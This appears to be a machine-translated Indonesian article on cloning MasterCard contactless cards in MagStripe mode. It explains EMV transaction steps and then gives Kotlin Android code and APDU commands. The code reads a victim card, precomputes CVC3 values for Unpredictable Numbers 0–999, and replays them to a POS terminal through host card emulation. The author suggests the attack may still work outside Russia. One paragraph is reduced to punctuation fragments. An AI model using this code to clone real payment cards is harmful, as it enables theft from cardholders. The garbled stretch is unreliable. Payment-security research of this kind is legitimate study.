Kloning kartu tanpa kontak menggunakan aplikasi seluler

Itu selalu menarik untuk melihat apa yang terjadi pada kartu bank di bawah "kap". Bagaimana protokol komunikasi kartu bank dan terminal POS diimplementasikan, cara kerjanya, dan seberapa amannya. Kesempatan seperti itu muncul di depan saya ketika saya sedang magang di Digital Security. Akibatnya, ketika menguraikan salah satu kerentanan kartu EMV yang diketahui dalam mode MagStripe, diputuskan untuk mengimplementasikan aplikasi seluler yang dapat berkomunikasi dengan terminal melalui antarmuka tanpa kontak, menggunakan perintahnya sendiri dan analisis rinci tentang permintaan dan tanggapan. Dan juga mencoba menerapkan metode kloning kartu MasterCard dalam mode MagStripe.

Pada artikel ini saya akan mencoba menjelaskan apa itu kartu EMV, bagaimana cara kerjanya dan bagaimana menggunakan Android Anda dapat mencoba mengkloning kartu MasterCard Anda.

"Ada beberapa hal yang tidak bisa dibeli dengan uang. Untuk yang lainnya, ada MasterCard »

Apa itu kartu EMV?

EMV adalah standar internasional untuk kartu bank dengan chip. E uropay + M asterCard + V ISA ikut serta dalam pengembangan standar ini, karenanya namanya. Mari kita coba mencari tahu bagaimana kartu berkomunikasi dengan terminal POS melalui antarmuka tanpa kontak.

Mari kita mulai dengan dasar-dasarnya.

Kartu EMV tanpa kontak fisik berfungsi hampir sama dengan tag RFID. Jika dasar, chip memasuki medan elektromagnetik, dan dalam sirkuit konduksi tertutup (dalam kasus kami, itu akan menjadi antena yang terletak di sekeliling perimeter), ditempatkan di medan magnet bolak-balik, arus listrik bolak-balik dihasilkan. Arus ini mengisi kapasitor khusus yang terhubung secara paralel dengan sirkuit resonan kartu. Energi yang tersimpan dalam kapasitor digunakan untuk melakukan kartu sirkuit mikro untuk berbagai operasi. Ketika pembaca mengubah bidang elektromagnetik, perubahan akan segera terlihat pada chip. Dengan menggunakan modulasi sinyal, kita dapat mengirimkan informasi dalam bentuk biner. Jika Anda menghubungkan resistansi beban pada kartu dan atau mengubah kapasitansi kapasitor, Anda dapat mengubah kekuatan arus dalam sirkuit kartu, yang akan menyebabkan perubahan dalam bidang elektromagnetik yang dibuat olehnya di wilayah sirkuit pembaca, sehingga kartu mentransmisikan data. Pembaca harus mendeteksi perubahan ini. Interaksi fisik ini diatur oleh standar ISO / IEC 14443 "Kartu Identifikasi - kartu sirkuit terpadu tanpa kontak - Kartu kedekatan" .

Chip kartu itu sendiri adalah kartu pintar yang menjalankan JavaCard, versi terpisah Java untuk platform dengan sumber daya komputasi rendah dan dukungan untuk algoritma kriptografi. JavaCard mengunduh applet, yang merupakan aplikasi. Ada juga GlobalPlatform adalah standar tertentu untuk JavaCard, yang menyediakan kemampuan untuk mengelola data pada peta dengan aman dan memungkinkan Anda untuk mengunduh, memodifikasi, dan menghapus aplikasi pada peta. Dalam artikel ini, kami tidak akan mempertimbangkan mekanisme keamanan kartu pintar itu sendiri. Cukup mengetahui bahwa data yang dilindungi, misalnya, kunci pribadi dan kunci master rahasia kartu, berada di tempat yang aman dan tidak mungkin untuk menghapusnya menggunakan cara standar.

Saya juga mengingatkan Anda tentang terminologi kecil untuk mereka yang tidak terbiasa.

Terminal POS (Point of Sale) - perangkat penjual yang membaca kartu dan melakukan pembayaran. Selanjutnya kita akan menyebut perangkat ini hanya terminal.
Bank penerbit adalah bank yang mengeluarkan kartu Anda.
Acquirer Bank - bank yang menerbitkan terminal POS untuk penjual dan memproses pembayaran dari mereka.
Sistem pembayaran adalah penghubung utama antara bank pengakuisisi dan bank penerbit, benar-benar semua pembayaran melalui itu, dan ia tahu bank mana yang harus mentransfer uang ke berapa banyak. Ada banyak sistem pembayaran di dunia, selain Visa dan MasterCard yang terkenal, ada juga American Express , China UnionPay dan sistem pembayaran Rusia MIR .

Nah, kartu dan pembaca dapat berkomunikasi. Mereka saling mengirim perintah APDU lainnya dalam bentuk Tag-Length-Value i.e. nama tag ditransmisikan dalam heksadesimal, panjang dan nilainya sendiri. Semua perintah dijelaskan tentu saja dalam dokumentasi dan terlihat seperti ini:



Transaksi EMV standar terjadi dalam beberapa tahap, saya akan menjelaskan algoritma interaksi penuh dalam kasus antarmuka kontak, untuk antarmuka tanpa kontak, algoritma agak dipersingkat:

• Pemilihan aplikasi;
• Inisialisasi pemrosesan aplikasi;
• Membaca data aplikasi
• Otentikasi offline
• Kendala pemrosesan;
• Cek pemegang kartu;
• Manajemen risiko di sisi terminal;
• Analisis tindakan terminal;
• Manajemen risiko di sisi kartu;
• Analisis tindakan kartu;
• Pemrosesan online;
• Selesainya operasi.

Kami mempertimbangkan secara singkat setiap operasi.

Seleksi aplikasi. Sering terjadi bahwa ada beberapa aplikasi pada satu kartu. Misalnya, kartu bank dan tiket perjalanan. Dan terminal entah bagaimana perlu mencari tahu di mana dan algoritma mana yang digunakan. Yang disebut Application Identifier (AID ) digunakan untuk memilih aplikasi. Untuk memahami hal ini, terminal mengirim perintah SELECT . Misalnya, AID kartu Visa Classic akan terlihat seperti ini: A0000000031010 . Jika beberapa kode seperti itu datang sebagai respons dan terminal dapat bekerja dengan beberapa aplikasi, terminal akan menampilkan daftar dan menawarkan untuk memilih aplikasi yang kita butuhkan. Jika terminal tidak mendukung salah satu kode aplikasi, maka operasi akan ditolak oleh terminal.

Menginisialisasi pemrosesan aplikasi. Di sini, lokasi geografis pertama kali diperiksa. Misalnya, kartu Maestro Momentum hanya dapat digunakan untuk pembayaran di Rusia. Tahap ini dilakukan untuk memberikan kesempatan kepada emiten untuk menerapkan metode manajemen risiko online yang ada saat melakukan operasi offline. Pada tahap ini, transaksi EMV dapat dibatalkan atas inisiatif kartu itu sendiri jika jenis transaksi ini dilarang oleh penerbit di negara tertentu di dunia. Lebih lanjut, kartu mentransmisikan ke terminal satu set informasi terstruktur khusus yang berisi deskripsi fungsi kartu dan aplikasi.

Baca data aplikasi. Berbagai data kartu yang diperlukan untuk transaksi dikirimkan ke terminal, misalnya, nomor kartu, tanggal kedaluwarsa, penghitung transaksi, dan banyak data lainnya. Beberapa dari mereka akan dibahas nanti.

Data sampel:



Sertifikat kunci publik dari bank penerbit dan kartu itu sendiri juga dikirimkan. Agar terminal dapat memverifikasi tanda tangan digital dari beberapa data kartu, infrastruktur PKI (Infrastruktur Kunci Publik) digunakan. Singkatnya, sistem pembayaran memiliki sepasang kunci - publik dan pribadi, dan sistem pembayaran untuk semua peserta CA (Otoritas Pusat) . Bahkan, sistem pembayaran untuk setiap bank penerbit mengeluarkan pasangan kunci baru, dan pada saat yang sama menghasilkan sertifikat kunci publik dari bank penerbit, menandatanganinya dengan CA kunci pribadi. Lebih lanjut, ketika bank mengeluarkan kartu baru, kartu tersebut membuat sepasang kunci untuk kartu tersebut, dan juga menghasilkan sertifikat kunci publik dari kartu tersebut, menandatanganinya menggunakan kunci pribadi bank. Di terminal, sertifikat kunci publik biasanya ditransfer ke berbagai sistem pembayaran. Dengan demikian, ketika kartu mentransmisikan sertifikat kunci publik bank penerbit dan sertifikat kartu itu sendiri, terminal dapat dengan mudah memeriksa seluruh rantai menggunakan kunci publik dari sistem pembayaran. Terminal, menggunakan kunci publik dari sistem pembayaran, pertama memverifikasi keaslian sertifikat bank penerbit, jika itu asli, maka dapat dipercaya dan sekarang menggunakan sertifikat bank penerbit Anda dapat memverifikasi sertifikat kartu itu sendiri. Lebih detail dalam artikel tentang keamanan EMV .

Otentikasi offline. Terminal menentukan jenis metode otentikasi offline yang didukung. Ada yang statis ( Otentikasi Data Statis - SDA ), dinamis ( Dynamic Data Authentication - DDA ) dan gabungan ( Combined Data Authentication - CDA ). Metode-metode ini juga didasarkan pada PKI. SDA hanya menandatangani data pada kunci pribadi bank penerbit, DDA - terminal mengirimkan beberapa nomor acak dan kartu harus menandatanganinya menggunakan kunci privasinya, dan terminal akan memverifikasi tanda tangan ini menggunakan sertifikat kartu yang sebelumnya diterima, sehingga terminal akan memastikan bahwa kartu tersebut benar-benar memiliki kunci pribadi - karenanya asli. CDA hanyalah kombinasi dari keduanya.

Menangani batasan. Di sini, terminal memeriksa data yang diterima sebelumnya dari kartu untuk kondisi kesesuaian operasi ini. Misalnya, ia memeriksa tanggal mulai / akhir dari Tanggal Kedaluwarsa Aplikasi aplikasi (Tag '5F24') dan Tanggal Efektif Aplikasi (Tag '5F25') . Ini juga memeriksa versi aplikasi. Hasil operasi yang dilakukan pada tahap ini juga dicatat dalam laporan TVR (hasil verifikasi Terminal) . Berdasarkan hasil tahap ini, transaksi tidak dapat dibatalkan, bahkan jika, misalnya, aplikasi telah kedaluwarsa.

Cek pemegang kartu. Verifikasi pemegang kartu dilakukan untuk mengotentikasi orang yang memberikan kartu dan memverifikasi apakah dia adalah pemilik sebenarnya dari kartu tersebut. Standar EMV menyediakan berbagai Metode Verifikasi Pemegang Kartu . Metode verifikasi didefinisikan baik di terminal maupun di peta. Mereka terkandung dalam daftar yang disebut CVM . Dalam proses eksekusi, terminal dan kartu membandingkan daftar CVM yang diterima dan memilih metode verifikasi umum.

Daftar metode verifikasi yang didukung:

• Tidak diperlukan CVM ('011111'b);
• Pemrosesan CVM gagal ('000000'b);
• Tanda tangan ('011110'b);
• PIN terenkripsi diverifikasi online ('000010'b);
• Verifikasi PIN Plaintext dilakukan oleh ICC ('000001'b);
• Verifikasi PIN plaintext dilakukan oleh ICC dan tanda tangan ('000011'b);
• Verifikasi PIN terenkripsi dilakukan oleh ICC ('000100'b);
• Verifikasi PIN terenkripsi dilakukan oleh ICC dan tanda tangan ('000101'b).

Di sini ada juga informasi menarik tentang hal ini.

Manajemen risiko di sisi terminal. Pada tahap ini, terminal melakukan verifikasi internal parameter transaksi, berdasarkan pengaturan manajemen risiko bank yang mengakuisisi. Prosedur manajemen risiko dapat dilakukan oleh terminal kapan saja antara selesainya proses pembacaan data kartu dan pembentukan perintah GENERATE AC pertama oleh terminal. Manajemen risiko di sisi terminal mencakup tiga mekanisme:

• kontrol ukuran operasi yang dilakukan pada kartu ( Floor Limit Checking );
• pemilihan transaksi acak untuk otorisasi online dari transaksi ini oleh penerbit ( Pemilihan Transaksi Acak );
• memeriksa aktivitas offline menggunakan kartu ( Pengecekan Kecepatan ).

Analisis tindakan terminal. Pada tahap ini, terminal menganalisis hasil dari langkah-langkah transaksi sebelumnya. Berdasarkan hasil analisis, terminal membuat keputusan apakah akan melakukan operasi online, memungkinkan untuk dilakukan secara offline atau menolak operasi.

Manajemen risiko di sisi kartu. Kartu, setelah menerima dari data perintah GENERATE AC tentang transaksi, terminal, dan hasil pemeriksaan terminal, pada gilirannya, melakukan prosedur manajemen risiko sendiri dan membuat keputusan sendiri tentang bagaimana menyelesaikan operasi.

Analisis tindakan kartu. Pada tahap ini, kartu menyelesaikan prosedur manajemen risiko dan menghasilkan kriptogram respons ke terminal. Jika kartu memutuskan untuk menyetujui transaksi, maka Sertifikat Transaksi dihasilkan. Jika kartu memutuskan untuk melakukan operasi secara real time, maka kartu tersebut menghasilkan ARQC (Cryptogram Permintaan Otorisasi) . Jika kartu menggunakan metode otorisasi alternatif, maka Referensi Otorisasi Aplikasi digunakan . Jika kartu menolak transaksi, maka Cryptogram Otentikasi Aplikasi .

Cryptogram ARPC (Authorization Response Cryptogram) lain diperlukan untuk mengautentikasi penerbit. Penerbit membuat cryptogram ARPC dan mengirimkan cryptogram ke kartu, jika kartu mengkonfirmasi cryptogram, maka penerbit diautentikasi oleh kartu.

Sedikit tentang keamanan kunci dan otentikasi timbal balik dari kartu dan penerbit dari buku I. M. Goldovsky:

Arti dari saling otentikasi adalah bahwa kartu dan terminal saling mengautentikasi menggunakan otentikasi ARQC dan ARPC cryptogram. Cryptograms adalah data yang dihasilkan menggunakan kunci rahasia (yang diketahui kartu dan bank kepada penerbit), nomor transaksi, nomor acak yang dihasilkan oleh terminal, serta beberapa detail transaksi, terminal dan kartu. Dalam kasus ARPC, kode respons otorisasi penerbit juga ditambahkan ke data yang terdaftar. Tanpa mengetahui kunci rahasia kartu untuk menghasilkan kriptogram, tidak mungkin untuk menghitung nilai ARQC / ARPC untuk waktu yang dapat diperkirakan dengan tingkat teknologi saat ini, dan oleh karena itu fakta keberhasilan verifikasi mereka menunjukkan keaslian kartu dan penerbit. Otentikasi online adalah cara yang paling dapat diandalkan untuk mengotentikasi kartu. Hal ini disebabkan fakta bahwa hal itu dilakukan langsung oleh penerbit, tanpa perantara dalam bentuk terminal. Selain itu, algoritma 3DES dengan kunci sementara 112-bit digunakan untuk otentikasi online, kekuatan kriptografi yang sesuai dengan kekuatan kriptografi algoritma RSA dengan panjang modul kunci asimetris yang digunakan untuk otentikasi offline aplikasi kartu yang melebihi 1700 bit. Menggunakan kunci asimetris yang panjang ini pada kartu masih cukup langka. Biasanya kunci dengan panjang modul 1024, 1152 atau 1408 bit digunakan.

Pada akhirnya, transaksi online melewati rantai:
Kartu <--> POS-Terminal <--> Bank Memperoleh <--> Sistem Pembayaran <--> Penerbit Bank.

Klon MasterCard dalam mode MagStripe

Kami melanjutkan langsung ke prinsip kloning. Metode serangan kartu tanpa kontak ini diterbitkan oleh dua peneliti Michael Roland, Josef Langer dari University of Austria. Ini didasarkan pada prinsip umum yang disebut Skimming . Ini adalah skenario di mana penyerang mencuri uang dari kartu bank dengan membaca (menyalin) informasi dari kartu ini. Dalam kasus umum, penting untuk merahasiakan PIN dan tidak membocorkannya. Tetapi dalam metode orang-orang Austria kita tidak perlu tahu ini. Kloning kartu pembayaran berhasil untuk versi kernel dari aplikasi KV Contactless Kernel 2. Versi protokol ini mendukung dua mode operasi untuk kartu tanpa kontak: protokol EMV (MasterCard PayPass M / Chip) dan mode MagStripe (MasterCard PayPass MagStripe) .

MagStripe adalah mode dukungan kartu strip magnetik. Mode ini diterapkan pada kartu MasterCard dengan antarmuka tanpa kontak. Mode MagStripe kemungkinan besar diperlukan untuk bank yang merasa kesulitan untuk mentransfer seluruh infrastruktur untuk mendukung transaksi EMV tanpa kontak chip. Omong-omong, kartu Visa juga memiliki mode operasi yang serupa - PayWave MSD (Magnetic Stripe Data) .

Proses pemrosesan transaksi untuk kartu tanpa kontak terpotong dibandingkan dengan kartu chip dan biasanya bekerja dalam mode berikut:

1. Terminal mengirimkan perintah SELECT PPSE (Proximity Payment System Environment). Kartu mengirim daftar aplikasi yang didukung.
2. Terminal mengirim perintah SELECT . Sebagai tanggapan, ia menerima rincian aplikasi yang diperlukan.
3. Terminal mengirimkan perintah GET_PROCESSING_OPTIONS . Kartu menjawab jenis otentikasi yang didukungnya dan apakah verifikasi pemegang kartu ada di sana.
4. Terminal mengirimkan perintah READ_RECORDS . Kartu yang merespons mengirimkan Track1 dan Track2 hampir sama dengan yang terekam pada strip magnetik kartu.
5. Terminal mengirimkan perintah COMPUTE_CRYPTOGRAPHIC_CHECKSUM . Yang berarti bahwa kartu tersebut harus menghasilkan nilai CVC3 berdasarkan Nomor yang Tidak Dapat Diprediksi yang disahkan.

Kartu ini mendukung perintah CHECKSUM CRYPTOGRAPHIC COMPUTE khusus, yang argumennya adalah data yang didefinisikan dalam Objek Data Angka yang Tidak Dapat Diprediksi (UDOL). Akibatnya, kartu menggunakan algoritma 3DES dan kunci rahasia menghitung nilai dinamis CVC3 (Kode Verifikasi Kartu). Sebagai argumen untuk fungsi 3DES, gabungan data UDOL dan penghitung transaksi (Application Transaction Counter, ATC) digunakan. Dengan demikian, nilai CVC3 selalu tergantung pada objek UN dan ATC.

Dengan kata lain, perintah ini diperlukan agar kartu menghasilkan "tanda tangan" tertentu sehingga penerbit dapat memverifikasi kartu. Namun, tanda tangan transaksi itu sendiri tidak ada dari tanda tangan ini. Tanda tangan berisi nilai ATC - 2 byte , CVC3 (Track1) - 2 byte , CVC3 (Track2) - 2 byte , yang dihasilkan oleh kartu berdasarkan kunci rahasia, yang juga diketahui oleh bank penerbit dan penghitung transaksi (ATC). Pada saat yang sama, untuk menghasilkan tanda tangan, terminal POS menginformasikan kartu UN (Unpredictable Number) - 4 byte, yang juga digunakan dalam pembuatan tanda tangan. Unpredictable Number mencegah pembuatan kode autentikasi pada kartu asli untuk selanjutnya digunakan dalam transaksi penipuan. Untuk serangan, PBB sangat mengganggu kami, karena tidak mungkin untuk menyebutkan 4 byte tanpa melampaui batas konter transaksi. Namun, ada beberapa kelemahan dalam spesifikasi ini.

Pertama, spesifikasi membatasi PBB pada pengkodean angka, yaitu Binary Decimal Code (BCD) , yang pada dasarnya berarti bahwa jika kita melihat angka yang dikodekan dalam HEX, kita hanya akan melihat angka dari 0 hingga 9, semua nilai lain dianggap seakan dilarang. Dengan demikian, jumlah UN berkurang dari 4.294.967.295 menjadi 99.999.999.

Kedua, jumlah digit UN yang signifikan ditentukan oleh kartu. Jadi, tergantung pada parameter khusus dalam lintasan, jumlah digit di PBB dapat dari 10 hingga 10.000, tergantung pada jenis kartu, dalam praktiknya, 1000 nilai paling sering ditemukan.

Dengan demikian, rencana serangan adalah sebagai berikut:

1. Kami membaca kartu dan mengetahui jumlah digit signifikan dari UN, yang akan disediakan oleh terminal
2. Kami memilah-milah semua UN, mendapatkan semua nilai yang mungkin dari fungsi COMPUTE_CRYPTOGRAHIC_CHECKSUM , menyimpannya di tabel terkait dengan pemetaan UN -> Hasil
3. Kami membawanya ke terminal POS, kami menemukan nomor yang diminta terminal POS.
4. Kami memilih hasil yang diinginkan dari tabel dan menggantinya sebagai respons terhadap terminal.
5. Transaksi pergi.
6. KEUNTUNGAN. Tetapi keberhasilan persetujuan transaksi tidak dijamin, karena bank penerbit dapat menolak transaksi semacam itu.

Perlu juga dicatat bahwa penghitung transaksi (ATC) mencegah penggunaan kembali kode otentikasi yang digunakan sebelumnya, yang berarti bahwa jika kita menggunakan serangan ini, kita harus menyalin kartu lagi, karena penghitung transaksi sudah digunakan untuk mendapatkan informasi dan digunakan dalam tanda tangan, yang berarti bahwa jika kami memiliki penghitung transaksi 1000, dan setelah kami mengirim transaksi ke bank, bank tidak akan lagi menerima transaksi dengan penghitung di bawah <1001. , 2 , , 65 , .

. , COMPUTE_CRYPTOGRAPHIC_CHECKSUM . CVC3 , SELECT , GET_PROCESSING_OPTIONS , COMPUTE_CRYPTOGRACHIC_CHECKSUM . CVC3. , 1000 Google Galaxy Nexus S .

Terminal Simulator MasterCard. NFC- . . POS- . , .



NFC ACR122 .



. Kotlin Android. .

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) } 

Pertama, kita perlu mengatur kerja dengan NFC. Di telepon kita dapat bekerja dalam dua mode. Dalam mode kartu, ini adalah ketika kita merespons perintah dari terminal, dan dalam mode terminal ketika kita mengirim perintah dan membaca, misalnya, kartu. Yaitu pertama, kita dapat mengkloning kartu, dan kemudian memastikan bahwa kita menanggapi permintaan dari terminal dengan perintah yang sudah disiapkan.

Berikut ini adalah implementasi interaksi yang disederhanakan dengan NFC:

  private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv } 

Ini menjelaskan urutan perintah dan menghitung nilai-nilai dari Angka yang Tidak Dapat Diprediksi dalam satu siklus dari 0 hingga 999, kami mengubah Nc menjadi "00000 $ {String.format ("% 03d ", i)}". Ganti (".. (?! $ ) ". toRegex ()," $ 0 "). Dan jangan lupa untuk mengeksekusi GET_PROCESSING_OPTIONS setiap kali sebelum COMPUTE_CRYPTOGRAPHIC_CHECKSUM jika tidak, jumlah cek tidak akan dihitung.

Akibatnya, semua ini dapat ditulis ke file dan sudah digunakan saat bekerja dengan terminal ini. Di sini kita mendapatkan Nama dan Nomor Kartu, kita dapat menampilkannya di layar.

  private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) //       val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() } 

Seperangkat perintah yang kita butuhkan.

 object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") } 

Untuk menerapkan penyadapan perintah dari terminal, Anda harus memulai layanan Anda dan mendeklarasikannya dalam manifes. Dalam layanan ini, perintah dari terminal datang ke processCommandApdu, kami membandingkannya dengan yang disimpan dalam file, dan memberikan respons, yang ditulis pada baris berikutnya.

  <service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service> 

 class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() } 

Beberapa tangkapan layar dari aplikasi. Kami membaca kartu dan parsim log:



Dengan demikian, dimungkinkan untuk mensimulasikan operasi kartu EMV tanpa kontak pada ponsel dengan data kartu. Tetapi untungnya atau sayangnya bagi seseorang, serangan ini tidak berhasil di Rusia. Menurut eksperimen kami, transaksi sepanjang waktu mencapai bank penerbit dan ditolak oleh bank itu sendiri. Selain itu, kami tidak dapat melakukan transaksi offline menggunakan MagStripe. Namun, serangan semacam itu mungkin dapat diterapkan di negara lain di mana penggunaan mode MagStripe cukup umum dan algoritma manajemen risiko sedikit berbeda, misalnya, di AS.

Tautan dengan bantuan artikel ini

Kartu mikroprosesor bank / I.M. Goldovsky - M.: TsIPSiR: Alpina Pub Lakers, 2010.-- 686 hal.
Proyek EMV: langkah-demi-langkah
Penelitian Peneliti Austria
Tautan ke kode aplikasi
Simulator Terminal.

Terima kasih kepada barracud4 untuk membantu saya menyiapkan artikel ini.